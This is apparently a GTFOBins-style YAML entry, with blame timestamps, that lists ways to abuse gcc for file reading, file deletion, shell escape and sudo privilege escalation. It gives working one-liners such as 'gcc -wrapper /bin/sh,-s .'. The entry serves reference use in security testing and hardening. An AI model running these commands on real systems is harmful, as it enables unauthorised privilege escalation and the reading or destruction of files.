2020-03-14 06:48:45 +01:00
---
functions:
2020-09-27 11:27:28 +02:00
file-read:
- code: |
LFILE=file_to_read
gcc -x c -E "$LFILE"
2022-12-16 17:51:53 +01:00
- description: The file is read and parsed as a list of files (one per line), the content is disaplyed as error messages, thus this might not be suitable to read arbitrary data.
code: |
LFILE=file_to_read
gcc @"$LFILE"
2021-04-26 16:11:33 +02:00
file-write: # XXX this should be file-delete
2021-04-06 09:42:52 +02:00
- code: |
LFILE=file_to_delete
gcc -xc /dev/null -o $LFILE
2020-03-14 06:48:45 +01:00
shell:
2020-03-14 12:17:30 +01:00
- code: gcc -wrapper /bin/sh,-s .
2020-03-14 06:48:45 +01:00
sudo:
2020-03-14 12:17:30 +01:00
- code: sudo gcc -wrapper /bin/sh,-s .
2020-03-14 06:48:45 +01:00
---